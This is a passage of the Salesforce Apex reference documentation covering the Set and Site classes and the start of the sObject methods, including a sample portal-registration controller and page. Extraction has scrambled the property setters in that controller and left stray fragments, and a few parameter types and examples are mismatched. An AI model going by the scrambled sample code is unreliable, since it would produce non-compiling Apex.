If the set contains String elements, the elements are case-sensitive. Two set elements that differ only by case are considered
distinct.

2313

Reference

Set Class

For more information on sets, see Sets on page 33.

IN THIS SECTION:
Set Constructors
Set Methods

Set Constructors
The following are constructors for Set.
IN THIS SECTION:
Set<T>()
Creates a new instance of the Set class. A set can hold elements of any data type T.
Set<T>(setToCopy)
Creates a new instance of the Set class by copying the elements of the specified set. T is the data type of the elements in both sets
and can be any data type.
Set<T>(listToCopy)
Creates a new instance of the Set class by coping the list elements. T is the data type of the elements in the set and list and can
be any data type.

Set<T>()
Creates a new instance of the Set class. A set can hold elements of any data type T.

Signature
public Set<T>()

Example
// Create a set of strings
Set<String> s1 = new Set<String>();
// Add two strings to it
s1.add('item1');
s1.add('item2');

Set<T>(setToCopy)
Creates a new instance of the Set class by copying the elements of the specified set. T is the data type of the elements in both sets
and can be any data type.

Signature
public Set<T>(Set<T> setToCopy)

2314

Reference

Set Class

Parameters
setToCopy

Type: Set<T>
The set to initialize this set with.

Example
Set<String> s1 = new Set<String>();
s1.add('item1');
s1.add('item2');
Set<String> s2 = new Set<String>(s1);
// The set elements in s2 are copied from s1
System.debug(s2);

Set<T>(listToCopy)
Creates a new instance of the Set class by coping the list elements. T is the data type of the elements in the set and list and can be
any data type.

Signature
public Set<T>(List<T> listToCopy)

Parameters
listToCopy

Type: Integer
The list to copy the elements of into this set.

Example
List<Integer> ls = new List<Integer>();
ls.add(1);
ls.add(2);
// Create a set based on a list
Set<Integer> s1 = new Set<Integer>(ls);
// Elements are copied from the list to this set
System.debug(s1);// DEBUG|{1, 2}

Set Methods
The following are methods for Set. All are instance methods.
IN THIS SECTION:
add(setElement)
Adds an element to the set if it is not already present.
addAll(fromList)
Adds all of the elements in the specified list to the set if they are not already present.

2315

Reference

Set Class

addAll(fromSet)
Adds all of the elements in the specified set to the set that calls the method if they are not already present.
clear()
Removes all of the elements from the set.
clone()
Makes a duplicate copy of the set.
contains(setElement)
Returns true if the set contains the specified element.
containsAll(listToCompare)
Returns true if the set contains all of the elements in the specified list. The list must be of the same type as the set that calls the
method.
containsAll(setToCompare)
Returns true if the set contains all of the elements in the specified set. The specified set must be of the same type as the original
set that calls the method.
equals(set2)
Compares this set with the specified set and returns true if both sets are equal; otherwise, returns false.
hashCode()
Returns the hashcode corresponding to this set and its contents.
isEmpty()
Returns true if the set has zero elements.
remove(setElement)
Removes the specified element from the set if it is present.
removeAll(listOfElementsToRemove)
Removes the elements in the specified list from the set if they are present.
removeAll(setOfElementsToRemove)
Removes the elements in the specified set from the original set if they are present.
retainAll(listOfElementsToRetain)
Retains only the elements in this set that are contained in the specified list.
retainAll(setOfElementsToRetain)
Retains only the elements in the original set that are contained in the specified set.
size()
Returns the number of elements in the set (its cardinality).

add(setElement)
Adds an element to the set if it is not already present.

Signature
public Boolean add(Object setElement)

2316

Reference

Set Class

Parameters
setElement

Type: Object

Return Value
Type: Boolean

Usage
This method returns true if the original set changed as a result of the call. For example:
Set<String> myString = new Set<String>{'a', 'b', 'c'};
Boolean result = myString.add('d');
System.assertEquals(true, result);

addAll(fromList)
Adds all of the elements in the specified list to the set if they are not already present.

Signature
public Boolean addAll(List<Object> fromList)

Parameters
fromList

Type: List

Return Value
Type: Boolean
Returns true if the original set changed as a result of the call.

Usage
This method results in the union of the list and the set. The list must be of the same type as the set that calls the method.

addAll(fromSet)
Adds all of the elements in the specified set to the set that calls the method if they are not already present.

Signature
public Boolean addAll(Set<Object> fromSet)

Parameters
fromSet

Type: Set<Object>

2317

Reference

Set Class

Return Value
Type: Boolean
This method returns true if the original set changed as a result of the call.

Usage
This method results in the union of the two sets. The specified set must be of the same type as the original set that calls the method.

Example
Set<String> myString = new Set<String>{'a', 'b'};
Set<String> sString = new Set<String>{'c'};
Boolean result1 = myString.addAll(sString);
System.assertEquals(true, result1);

clear()
Removes all of the elements from the set.

Signature
public Void clear()

Return Value
Type: Void

clone()
Makes a duplicate copy of the set.

Signature
public Set<Object> clone()

Return Value
Type: Set (of same type)

contains(setElement)
Returns true if the set contains the specified element.

Signature
public Boolean contains(Object setElement)

2318

Reference

Set Class

Parameters
setElement

Type: Object

Return Value
Type: Boolean

Example
Set<String> myString = new Set<String>{'a', 'b'};
Boolean result = myString.contains('z');
System.assertEquals(false, result);

containsAll(listToCompare)
Returns true if the set contains all of the elements in the specified list. The list must be of the same type as the set that calls the method.

Signature
public Boolean containsAll(List<Object> listToCompare)

Parameters
listToCompare

Type: List<Object>

Return Value
Type: Boolean

containsAll(setToCompare)
Returns true if the set contains all of the elements in the specified set. The specified set must be of the same type as the original set
that calls the method.

Signature
public Boolean containsAll(Set<Object> setToCompare)

Parameters
setToCompare

Type: Set<Object>

Return Value
Type: Boolean

2319

Reference

Set Class

Example
Set<String> myString = new Set<String>{'a', 'b'};
Set<String> sString = new Set<String>{'c'};
Set<String> rString = new Set<String>{'a', 'b', 'c'};
Boolean result1, result2;
result1 = myString.addAll(sString);
system.assertEquals(true, result1);
result2 = myString.containsAll(rString);
System.assertEquals(true, result2);

equals(set2)
Compares this set with the specified set and returns true if both sets are equal; otherwise, returns false.

Signature
public Boolean equals(Set<Object> set2)

Parameters
set2

Type: Set<Object>
The set2 argument is the set to compare this set with.

Return Value
Type: Boolean

Usage
Two sets are equal if their elements are equal, regardless of their order. The == operator is used to compare the elements of the sets.
The == operator is equivalent to calling the equals method, so you can call set1.equals(set2); instead of set1 ==
set2;.

hashCode()
Returns the hashcode corresponding to this set and its contents.

Signature
public Integer hashCode()

Return Value
Type: Integer

2320

Reference

Set Class

isEmpty()
Returns true if the set has zero elements.

Signature
public Boolean isEmpty()

Return Value
Type: Boolean

Example
Set<Integer> mySet = new Set<Integer>();
Boolean result = mySet.isEmpty();
System.assertEquals(true, result);

remove(setElement)
Removes the specified element from the set if it is present.

Signature
public Boolean remove(Object setElement)

Parameters
setElement

Type: Object

Return Value
Type: Boolean
Returns true if the original set changed as a result of the call.

removeAll(listOfElementsToRemove)
Removes the elements in the specified list from the set if they are present.

Signature
public Boolean removeAll(List<Object> listOfElementsToRemove)

Parameters
listOfElementsToRemove

Type: List<Object>

2321

Reference

Set Class

Return Value
Type: Boolean
Returns true if the original set changed as a result of the call.

Usage
This method results in the relative complement of the two sets. The list must be of the same type as the set that calls the method.

Example
Set<integer> mySet = new Set<integer>{1, 2, 3};
List<integer> myList = new List<integer>{1, 3};
Boolean result = mySet.removeAll(myList);
System.assertEquals(true, result);
Integer result2 = mySet.size();
System.assertEquals(1, result2);

removeAll(setOfElementsToRemove)
Removes the elements in the specified set from the original set if they are present.

Signature
public Boolean removeAll(Set<Object> setOfElementsToRemove)

Parameters
setOfElementsToRemove

Type: Set<Object>

Return Value
Type: Boolean
This method returns true if the original set changed as a result of the call.

Usage
This method results in the relative complement of the two sets. The specified set must be of the same type as the original set that calls
the method.

retainAll(listOfElementsToRetain)
Retains only the elements in this set that are contained in the specified list.

Signature
public Boolean retainAll(List<Object> listOfElementsToRetain)

2322

Reference

Set Class

Parameters
listOfElementsToRetain

Type: List<Object>

Return Value
Type: Boolean
This method returns true if the original set changed as a result of the call.

Usage
This method results in the intersection of the list and the set. The list must be of the same type as the set that calls the method.

Example
Set<integer> mySet = new Set<integer>{1, 2, 3};
List<integer> myList = new List<integer>{1, 3};
Boolean result = mySet.retainAll(myList);
System.assertEquals(true, result);

retainAll(setOfElementsToRetain)
Retains only the elements in the original set that are contained in the specified set.

Signature
public Boolean retainAll(Set setOfElementsToRetain)

Parameters
setOfElementsToRetain

Type: Set

Return Value
Type: Boolean
Returns true if the original set changed as a result of the call.

Usage
This method results in the intersection of the two sets. The specified set must be of the same type as the original set that calls the method.

size()
Returns the number of elements in the set (its cardinality).

Signature
public Integer size()

2323

Reference

Site Class

Return Value
Type: Integer

Example
Set<Integer> mySet = new Set<Integer>{1, 2, 3};
List<Integer> myList = new List<Integer>{1, 3};
Boolean result = mySet.retainAll(myList);
System.assertEquals(true, result);
Integer result2 = mySet.size();
System.assertEquals(2, result2);

Site Class
Use the Site Class to manage your Force.com sites.

Namespace
System

Usage
If there is a exception when using site.createPortalUser, a null is returned and the site system administrator is sent an email.
For more information on sites, see Force.com Sites Overview in the Salesforce online help.

Force.com Sites Examples

The following example creates a class, SiteRegisterController, which is used with a Visualforce page (see markup below) to
register new Customer Portal users.
Note: In the example below, you must enter the account ID of the account that you want to associate with new portal users. You
must also add the account owner to the role hierarchy for this code example to work. For more information, see Setting Up Your
Customer Portal in the Salesforce online help.
/**
* An Apex class that creates a portal user
*/
public class SiteRegisterController {
// PORTAL_ACCOUNT_ID is the account on which the contact will be created on
// and then enabled as a portal user.
//Enter the account ID in place of <portal_account_id> below.
private static Id PORTAL_ACCOUNT_ID = '<portal_account_id>';
public SiteRegisterController () {
}
public String username {get; set;}
public String email {get; set;}
public String password {get; set {password = value == null ? value : value.trim(); }

2324

Reference

Site Class

}
public String confirmPassword {get; set {
value == null ? value : value.trim();
public String communityNickname {get; set
value == null ? value : value.trim();

confirmPassword =
} }
{ communityNickname = \
} }

private boolean isValidPassword() {

return password == confirmPassword;
}
public PageReference registerUser() {
// If password is null, a random password is sent to the user
if (!isValidPassword()) {
ApexPages.Message msg = new ApexPages.Message(ApexPages.Severity.ERROR,
Label.site.passwords_dont_match);
ApexPages.addMessage(msg);
return null;
}
User u = new User();
u.Username = username;
u.Email = email;
u.CommunityNickname = communityNickname;
String accountId = PORTAL_ACCOUNT_ID;
// lastName is a required field on user, but if it isn't specified,
the code uses the username
String userId = Site.createPortalUser(u, accountId, password);
if (userId != null) {
if (password != null && password.length() > 1) {
return Site.login(username, password, null);
}
else {
PageReference page = System.Page.SiteRegisterConfirm;
page.setRedirect(true);
return page;
}
}
return null;
}
}
/**
* Test class.
*/
@isTest
private class SiteRegisterControllerTest {
// Test method for verifying the positive test case
static testMethod void testRegistration() {
SiteRegisterController controller = new SiteRegisterController();
controller.username = '[email protected]';
controller.email = '[email protected]';
controller.communityNickname = 'test';
// registerUser always returns null when the page isn't accessed as a guest user

2325

Reference

Site Class

System.assert(controller.registerUser() == null);
controller.password = 'abcd1234';
controller.confirmPassword = 'abcd123';
System.assert(controller.registerUser() == null);
}
}

The following is the Visualforce registration page that uses the SiteRegisterController Apex controller above:
<apex:page id="Registration" showHeader="false" controller=
"SiteRegisterController" standardStylesheets="true">
<apex:outputText value="Registration"/>
<br/>
<apex:form id="theForm">
<apex:messages id="msg" styleClass="errorMsg" layout="table" style="margin-top:1em;"/>
<apex:panelGrid columns="2" style="margin-top:1em;">
<apex:outputLabel value="{!$Label.site.username}" for="username"/>
<apex:inputText required="true" id="username" value="{!username}"/>
<apex:outputLabel value="{!$Label.site.community_nickname}"
for="communityNickname"/>
<apex:inputText required="true" id="communityNickname" required="true"
value="{!communityNickname}"/>
<apex:outputLabel value="{!$Label.site.email}" for="email"/>
<apex:inputText required="true" id="email" required="true" value="{!email}"/>
<apex:outputLabel value="{!$Label.site.password}" for="password"/>
<apex:inputSecret id="password" value="{!password}"/>
<apex:outputLabel value="{!$Label.site.confirm_password}" for="confirmPassword"/>
<apex:inputSecret id="confirmPassword" value="{!confirmPassword}"/>
<apex:outputText value=""/>
<apex:commandButton action="{!registerUser}" value="{!$Label.site.submit}"
id="submit"/>
</apex:panelGrid>
</apex:form>
cod</apex:page>

The sample code for the createPersonAccountPortalUser method is nearly identical to the sample code above, with the
following changes:
Replace all instances of PORTAL_ACCOUNT_ID with OWNER_ID.
Determine the ownerID instead of the accountID, and use the createPersonAccountPortalUser method instead of the
CreatePortalUser method by replacing the following code block:
String accountId = PORTAL_ACCOUNT_ID;
String userId = Site.createPortalUser(u, accountId, password);

with
String ownerId = OWNER_ID;
String userId = Site.createPersonAccountPortalUser(u, ownerId, password);

Site Methods
The following are methods for Site. All methods are static.

2326

Reference

Site Class

IN THIS SECTION:
changePassword(newPassword, verifyNewPassword, oldPassword)
Changes the password of the current user.
createExternalUser(name, accountId)
Creates a community or a portal user for the given account and associates it with the community.
createExternalUser(name, accountId, password)
Creates a community or a portal user for the given account and associates it with the community. This method sends an email with
the specified password to the user.
createExternalUser(name, accountId, password, sendEmailConfirmation)
Creates a community or portal user and associates it with the given account. This method sends the user an email with the specified
password as well as a new user confirmation email.
createPersonAccountPortalUser(user, ownerId, password)
Creates a person account using the default record type defined on the guest user's profile, then enables it for the site's portal.
createPersonAccountPortalUser(user, ownerId, recordTypeId, password)
Creates a person account using the specified recordTypeID, then enables it for the site's portal.
createPortalUser(user, accountId, password, sendEmailConfirmation)
Creates a portal user for the given account and associates it with the site's portal.
forgotPassword(username)
Resets the user's password and sends an email to the user with their new password. Returns a value indicating whether the password
reset was successful or not.
getAdminEmail()
Returns the email address of the site administrator.
getAdminId()
Returns the user ID of the site administrator.
getAnalyticsTrackingCode()
The tracking code associated with your site. This code can be used by services like Google Analytics to track page request data for
your site.
getCurrentSiteUrl()
Deprecated. This method was replaced by getBaseUrl() in API version 30.0. Returns the base URL of the current site that
references and links should use.
getBaseCustomUrl()
Returns a base URL for the current site that doesnt use a Force.com subdomain. The returned URL uses the same protocol (HTTP or
HTTPS) as the current request if at least one non-Force.com custom URL that supports HTTPS exists on the site. The returned value
never ends with a / character. If all the custom URLs in this site end in Force.com or this site has no custom URLs, then this returns
an empty string. If the current request is not a site request, then this method returns an empty string. This method replaced
getCustomWebAddress and includes the custom URL's path prefix..
getBaseInsecureUrl()
Returns a base URL for the current site that uses HTTP instead of HTTPS. The current request's domain is used. The returned value
includes the path prefix and never ends with a / character. If the current request is not a site request, then this method returns an
empty string.

2327

Reference

Site Class

getBaseRequestUrl()
Returns the base URL of the current site for the requested URL. This isn't influenced by the referring page's URL. The returned URL
uses the same protocol (HTTP or HTTPS) as the current request. The returned value includes the path prefix and never ends with a
/ character. If the current request is not a site request, then this method returns an empty string.
getBaseSecureUrl()
Returns a base URL for the current site that uses HTTPS instead of HTTP. The current request's domain is preferred if it supports HTTPS.
Domains that are not Force.com subdomains are preferred over Force.com subdomains. A Force.com subdomain, if associated with
the site, is used if no other HTTPS domains exist in the current site. If no HTTPS custom URLs exist in the site, then this method returns
an empty string. The returned value includes the path prefix and never ends with a / character. If the current request is not a site
request, then this method returns an empty string.
getBaseUrl()
Returns the base URL of the current site that references and links should use. Note that this field may return the referring page's URL
instead of the current request's URL. The returned value includes the path prefix and never ends with a / character. If the current
request is not a site request, then this field returns an empty string. This field replaces getCurrentSiteUrl.
getCustomWebAddress()
Deprecated. This method was replaced by getBaseCustomUrl() in API version 30.0.
getDomain()
Returns the Force.com domain name for your organization.
getErrorDescription()
Returns the error description for the current page if its a designated error page for the site and an error exists; otherwise, returns an
empty string.
getErrorMessage()
Returns an error message for the current page if its a designated error page for the site and an error exists; otherwise, returns an
empty string.
getMasterLabel()
Returns the value of the Master Label field for the current site. If the current request is not a site request, then this field returns null.
getName()
Returns the API name of the current site.
getOriginalUrl()
Returns the original URL for this page if its a designated error page for the site; otherwise, returns null.
getPasswordPolicyStatement()
Returns the password requirements for a community created with the Napili template.
getPathPrefix()
Returns the URL path prefix of the current site or an empty string if none. For example, if the requested site URL is
http://myco.force.com/partners, then /partners is the path prefix. If the current request is not a site request,
then this method returns an empty string. This method replaced getPrefix in API version 30.0.
getPrefix()
Deprecated. This method was replaced by getPathPrefix() in API version 30.0.
getSiteId()
Returns the ID of the current site. If the current request is not a site request, then this field returns null.
getTemplate()
Returns the template name associated with the current site; returns the default template if no template has been designated.

2328

Reference

Site Class

getSiteType()
Returns the API value of the site type field for the current site. This can be Visualforce for a Force.com site, Siteforce for a Site.com
site, ChatterNetwork for a Force.com Communities site, or ChatterNetworkPicasso for a Site.com Communities site. If the current
request is not a site request, then this method returns null.
getSiteTypeLabel()
Returns the value of the Site Type field's label for the current site. If the current request is not a site request, then this method returns
null.
isLoginEnabled()
Returns true if the current site is associated with an active login-enabled portal; otherwise returns false.
isPasswordExpired()
For authenticated users, returns true if the currently logged-in user's password is expired. For non-authenticated users, returns
false.
isRegistrationEnabled()
Returns true if the current site is associated with an active self-registration-enabled Customer Portal; otherwise returns false.
isValidUsername(username)
Returns true if the given username is valid; otherwise, returns false.
login(username, password, startUrl)
Allows users to log in to the current site with the given username and password, then takes them to the startUrl. If startUrl
is not a relative path, it defaults to the site's designated index page.
setPortalUserAsAuthProvider(user, contactId)
Sets the specified user information within the sites portal via an authentication provider.
validatePassword(user, password, confirmPassword)
Indicates whether a given password meets the requirements specified by org-wide or profile-based password policies in the current
users org.

changePassword(newPassword, verifyNewPassword, oldPassword)

Changes the password of the current user.

Signature
public static System.PageReference changePassword(String newPassword, String
verifyNewPassword, String oldPassword)

Parameters
newPassword

Type: String
verifyNewPassword

Type: String
oldPassword

Type: String
Optional.

2329

Reference

Site Class

Return Value
Type: System.PageReference

createExternalUser(name, accountId)
Creates a community or a portal user for the given account and associates it with the community.

Signature
public static Id createExternalUser(SObject name, String accountId)

Parameters
name

Type: SObject
Information required to create a user.
accountId

Type: String
The ID of the account you want to associate the user with.

Return Value
Type: Id
The ID of the user that this method creates.

Usage
This method throws Site.ExternalUserCreateException when user creation fails.
The nickname field is required for the User sObject when using the createExternalUser method.
Note: This method is only valid when a site is associated with a Customer Portal.
Calls to this method in API version 30.0 and later wont commit the transaction automatically. Calls to this method prior to API version
30.0 commit the transaction, making it impossible to roll back to a save point before the call.

createExternalUser(name, accountId, password)

Creates a community or a portal user for the given account and associates it with the community. This method sends an email with the
specified password to the user.

Signature
public static Id createExternalUser(SObject name, String accountId, String password)

2330

Reference

Site Class

Parameters
name

Type: SObject
Information required to create a user.
accountId

Type: String
The ID of the account you want to associate the user with.
password

Type: String
The password of the community or portal user. If not specified, or if set to null or an empty string, this method sends a new
password email to the portal user.

Return Value
Type: Id
The ID of the user that this method creates.

createExternalUser(name, accountId, password, sendEmailConfirmation)

Creates a community or portal user and associates it with the given account. This method sends the user an email with the specified
password as well as a new user confirmation email.

Signature
public static Id createExternalUser(SObject name, String accountId, String password,
Boolean sendEmailConfirmation)

Parameters
name

Type: SObject
Information required to create a user.
accountId

Type: String
The ID of the account you want to associate the user with.

2331

Reference

Site Class

password

Type: String
The password of the community or portal user. If not specified, or if set to null or an empty string, this method sends a new
password email to the portal user.
sendEmailConfirmation

Type: Boolean
Determines whether a new user email is sent to the portal user. Set it to true to send a new user email to the portal user. The
default is false, that is, the new user email isn't sent.

Return Value
Type: Id
The ID of the user that this method creates.

createPersonAccountPortalUser(user, ownerId, password)

Creates a person account using the default record type defined on the guest user's profile, then enables it for the site's portal.

Signature
public static ID createPersonAccountPortalUser(sObject user, String ownerId, String
password)

Parameters
user

Type: sObject
ownerId

Type: String
password

Type: String

Return Value
Type: ID

2332

Reference

Site Class

Usage
Calls to this method in API version 30.0 and later wont commit the transaction automatically. Calls to this method prior to API version
30.0 commit the transaction, making it impossible to roll back to a save point before the call.
Note: This method is only valid when a site is associated with a Customer Portal, and when the user license for the default new
user profile is a high-volume portal user.

createPersonAccountPortalUser(user, ownerId, recordTypeId, password)

Creates a person account using the specified recordTypeID, then enables it for the site's portal.

Signature
public static ID createPersonAccountPortalUser(sObject user, String ownerId, String
recordTypeId, String password)

Parameters
user

Type: sObject
ownerId

Type: String
recordTypeId

Type: String
password

Type: String

Return Value
Type: ID

createPortalUser(user, accountId, password, sendEmailConfirmation)

Creates a portal user for the given account and associates it with the site's portal.

Signature
public static ID createPortalUser(sObject user, String accountId, String password,
Boolean sendEmailConfirmation)

2333

Reference

Site Class

Parameters
user

Type: sObject
accountId

Type: String
password

Type: String
(Optional) The password of the portal user. If not specified, or if set to null or an empty string, this method sends a new password
email to the portal user.
sendEmailConfirmation

Type: Boolean
(Optional) Determines whether a new user email is sent to the portal user. Set it to true to send a new user email to the portal
user. The default is false, that is, the new user email isn't sent.

Return Value
Type: ID

Usage
The nickname field is required for the user sObject when using the createPortalUser method.
Note: This method is only valid when a site is associated with a Customer Portal.
Calls to this method in API version 30.0 and later wont commit the transaction automatically. Calls to this method prior to API version
30.0 commit the transaction, making it impossible to roll back to a save point before the call.

forgotPassword(username)
Resets the user's password and sends an email to the user with their new password. Returns a value indicating whether the password
reset was successful or not.

Signature
public static Boolean forgotPassword(String username)

Parameters
username

Type: String

Return Value
Type: Boolean
Note: The return value will always be true unless its called outside of a Visualforce page. If it's called outside of a Visualforce page,
it will be false.

2334

Reference

Site Class

getAdminEmail()
Returns the email address of the site administrator.

Signature
public static String getAdminEmail()

Return Value
Type: String

getAdminId()
Returns the user ID of the site administrator.

Signature
public static ID getAdminId()

Return Value
Type: ID

getAnalyticsTrackingCode()
The tracking code associated with your site. This code can be used by services like Google Analytics to track page request data for your
site.

Signature
public static String getAnalyticsTrackingCode()

Return Value
Type: String

getCurrentSiteUrl()
Deprecated. This method was replaced by getBaseUrl() in API version 30.0. Returns the base URL of the current site that references
and links should use.
Note that this may return the referring page's URL instead of the current request's URL. The returned value includes the path prefix and
always ends with a / character. If the current request is not a site request, then this method returns null. If the current request is not
a site request, then this method returns null. This method was replaced by getBaseUrl in API version 30.0.

2335

Reference

Site Class

Signature
public static String getCurrentSiteUrl()

Return Value
Type: String

Usage
Use getBaseUrl() instead.

getBaseCustomUrl()
Returns a base URL for the current site that doesnt use a Force.com subdomain. The returned URL uses the same protocol (HTTP or
HTTPS) as the current request if at least one non-Force.com custom URL that supports HTTPS exists on the site. The returned value never
ends with a / character. If all the custom URLs in this site end in Force.com or this site has no custom URLs, then this returns an empty
string. If the current request is not a site request, then this method returns an empty string. This method replaced getCustomWebAddress
and includes the custom URL's path prefix..

Signature
public static String getBaseCustomUrl()

Return Value
Type: String

Usage
This method replaces getCustomWebAddress() and includes the custom URL's path prefix.

getBaseInsecureUrl()
Returns a base URL for the current site that uses HTTP instead of HTTPS. The current request's domain is used. The returned value includes
the path prefix and never ends with a / character. If the current request is not a site request, then this method returns an empty string.

Signature
public static String getBaseInsecureUrl()

Return Value
Type: String

2336

Reference

Site Class

Signature
public static String getBaseRequestUrl()

Return Value
Type: String

getBaseSecureUrl()
Returns a base URL for the current site that uses HTTPS instead of HTTP. The current request's domain is preferred if it supports HTTPS.
Domains that are not Force.com subdomains are preferred over Force.com subdomains. A Force.com subdomain, if associated with the
site, is used if no other HTTPS domains exist in the current site. If no HTTPS custom URLs exist in the site, then this method returns an
empty string. The returned value includes the path prefix and never ends with a / character. If the current request is not a site request,
then this method returns an empty string.

Signature
public static String getBaseSecureUrl()

Return Value
Type: String

getBaseUrl()
Returns the base URL of the current site that references and links should use. Note that this field may return the referring page's URL
instead of the current request's URL. The returned value includes the path prefix and never ends with a / character. If the current request
is not a site request, then this field returns an empty string. This field replaces getCurrentSiteUrl.

Signature
public static String getBaseUrl()

Return Value
Type: String

Usage
This method replaces getCurrentSiteUrl().

getCustomWebAddress()
Deprecated. This method was replaced by getBaseCustomUrl() in API version 30.0.
Returns the request's custom URL if it doesn't end in Force.com or returns the site's primary custom URL. If neither exist, then this returns
null. Note that the URL's path is always the root, even if the request's custom URL has a path prefix. If the current request is not a site
request, then this method returns null. The returned value always ends with a / character.

2337

Reference

Site Class

Signature
public static String getCustomWebAddress()

Return Value
Type: String

Usage
Use getBaseCustomUrl() instead.

getDomain()
Returns the Force.com domain name for your organization.

Signature
public static String getDomain()

Return Value
Type: String

getErrorDescription()
Returns the error description for the current page if its a designated error page for the site and an error exists; otherwise, returns an
empty string.

Signature
public static String getErrorDescription()

Return Value
Type: String

getErrorMessage()
Returns an error message for the current page if its a designated error page for the site and an error exists; otherwise, returns an empty
string.

Signature
public static String getErrorMessage()

Return Value
Type: String

2338

Reference

Site Class

getMasterLabel()
Returns the value of the Master Label field for the current site. If the current request is not a site request, then this field returns null.

Signature
public static String getMasterLabel()

Return Value
Type: String

getName()
Returns the API name of the current site.

Signature
public static String getName()

Return Value
Type: String

getOriginalUrl()
Returns the original URL for this page if its a designated error page for the site; otherwise, returns null.

Signature
public static String getOriginalUrl()

Return Value
Type: String

getPasswordPolicyStatement()
Returns the password requirements for a community created with the Napili template.

Signature
public static String getPasswordPolicyStatement()

Return Value
Type: String

2339

Reference

Site Class

getPathPrefix()
Returns the URL path prefix of the current site or an empty string if none. For example, if the requested site URL is
http://myco.force.com/partners, then /partners is the path prefix. If the current request is not a site request, then
this method returns an empty string. This method replaced getPrefix in API version 30.0.

Signature
public static String getPathPrefix()

Return Value
Type: String

getPrefix()
Deprecated. This method was replaced by getPathPrefix() in API version 30.0.
Returns the URL path prefix of the current site. For example, if your site URL is myco.force.com/partners, /partners is
the path prefix. Returns null if the prefix isnt defined. If the current request is not a site request, then this method returns a null.

Signature
public static String getPrefix()

Return Value
Type: String

getSiteId()
Returns the ID of the current site. If the current request is not a site request, then this field returns null.

Signature
public static String getSiteId()

Return Value
Type: Id

getTemplate()
Returns the template name associated with the current site; returns the default template if no template has been designated.

Signature
public static System.PageReference getTemplate()

Return Value
Type: System.PageReference

2340

Reference

Site Class

Signature
public static String getSiteType()

Return Value
Type: String

getSiteTypeLabel()
Returns the value of the Site Type field's label for the current site. If the current request is not a site request, then this method returns
null.

Signature
public static String getSiteTypeLabel()

Return Value
Type: String

isLoginEnabled()
Returns true if the current site is associated with an active login-enabled portal; otherwise returns false.

Signature
public static Boolean isLoginEnabled()

Return Value
Type: Boolean

isPasswordExpired()
For authenticated users, returns true if the currently logged-in user's password is expired. For non-authenticated users, returns false.

Signature
public static Boolean isPasswordExpired()

Return Value
Type: Boolean

2341

Reference

Site Class

isRegistrationEnabled()
Returns true if the current site is associated with an active self-registration-enabled Customer Portal; otherwise returns false.

Signature
public static Boolean isRegistrationEnabled()

Return Value
Type: Boolean

isValidUsername(username)
Returns true if the given username is valid; otherwise, returns false.

Signature
public static Boolean isValidUsername(String username)

Parameters
username

Type: String
The username to test for validity.

Return Value
Type: Boolean

login(username, password, startUrl)

Allows users to log in to the current site with the given username and password, then takes them to the startUrl. If startUrl
is not a relative path, it defaults to the site's designated index page.

Signature
public static System.PageReference login(String username, String password, String
startUrl)

Parameters
username

Type: String
password

Type: String
startUrl

Type: String

2342

Reference

Site Class

Return Value
Type: System.PageReference

Usage
All DML statements before the call to Site.login get committed. Its not possible to roll back to a save point that was created before
a call to Site.login.
Note: Do not include http:// or https:// in the startURL.

setPortalUserAsAuthProvider(user, contactId)
Sets the specified user information within the sites portal via an authentication provider.

Signature
public static Void setPortalUserAsAuthProvider(sObject user, String contactId)

Parameters
user

Type: sObject
contactId

Type: String

Return Value
Type: Void

Usage
This method is only valid when a site is associated with a Customer Portal.
Calls to this method in API version 30.0 and later wont commit the transaction automatically. Calls to this method prior to API version
30.0 commit the transaction, making it impossible to roll back to a save point before the call.
For more information on an authentication provider, see RegistrationHandler on page 675.

validatePassword(user, password, confirmPassword)

Indicates whether a given password meets the requirements specified by org-wide or profile-based password policies in the current
users org.

Signature
public static void validatePassword(SObject user, String password, String
confirmPassword)

2343

Reference

sObject Class

Parameters
user

Type: SObject
The user attempting to create a password during self-registration for a community.
password

Type: String
The password entered by the user.
confirmPassword

Type: String
The password reentered by the user to confirm the password.

Return Value
Type: void

Usage
If validation fails when the method is run in a Lightning controller, this method throws an Apex exception describing the failed validation.
If validation fails when the method is run in a Visualforce controller, the method provides Visualforce error messages.

sObject Class
Contains methods for the sObject data type.

Namespace
System

Usage
sObject methods are all instance methods, that is, they are called by and operate on a particular instance of an sObject, such as an
account or contact. The following are the instance methods for sObjects.
For more information on sObjects, see sObject Types on page 112.

SObject Methods
The following are methods for SObject. All are instance methods.
IN THIS SECTION:
addError(errorMsg)
Marks a record with a custom error message and prevents any DML operation from occurring.
addError(errorMsg, escape)
Marks a record with a custom error message, specifies whether or not the error message should be escaped, and prevents any DML
operation from occurring.

2344

Reference

sObject Class

addError(exceptionError)
Marks a record with a custom error message and prevents any DML operation from occurring.
addError(exceptionError, escape)
Marks a record with a custom exception error message, specifies whether or not the exception error message should be escaped,
and prevents any DML operation from occurring.
addError(errorMsg)
Places the specified error message on the field in the Salesforce user interface and prevents any DML operation from occurring.
addError(errorMsg, escape)
Places the specified error message, which can be escaped or unescaped, on the field in the Salesforce user interface, and prevents
any DML operation from occurring.
clear()
Clears all field values
clone(preserveId, isDeepClone, preserveReadonlyTimestamps, preserveAutonumber)
Creates a copy of the sObject record.
get(fieldName)
Returns the value for the field specified by fieldName, such as AccountNumber.
get(field)
Returns the value for the field specified by the field token Schema.sObjectField, such as,
Schema.Account.AccountNumber.
getCloneSourceId()
Returns the ID of the entity from which an object was cloned. You can use it for objects cloned through the Salesforce user interface.
If you dont use a preserveId parameter, of if you use a preserveId value of false, you can also used it for objects created
using the System.SObject.clone(preserveId, isDeepClone, preserveReadonlyTimestamps,
preserveAutonumber) method.
getOptions()
Returns the database.DMLOptions object for the sObject.
getPopulatedFieldsAsMap()
Returns a map of populated field names and their corresponding values. The map contains only the fields that have been populated
in memory for the SObject instance.
getSObject(fieldName)
Returns the value for the specified field. This method is primarily used with dynamic DML to access values for external IDs.
getSObject(fieldName)
Returns the value for the field specified by the field token Schema.fieldName, such as, Schema.MyObj.MyExternalId.
This method is primarily used with dynamic DML to access values for external IDs.
getSObjects(fieldName)
Returns the values for the specified field. This method is primarily used with dynamic DML to access values for associated objects,
such as child relationships.
getSObjects(fieldName)
Returns the value for the field specified by the field token Schema.fieldName, such as, Schema.Account.Contact.
This method is primarily used with dynamic DML to access values for associated objects, such as child relationships.
getSObjectType()
Returns the token for this sObject. This method is primarily used with describe information.

2345

Reference

sObject Class

getQuickActionName()
Retrieves the name of a quick action associated with this sObject. Typically used in triggers.
isClone()
Returns true if an entity is cloned from something, even if the entity hasnt been saved.
put(fieldName, value)
Sets the value for the specified field and returns the previous value for the field.
put(fieldName, value)
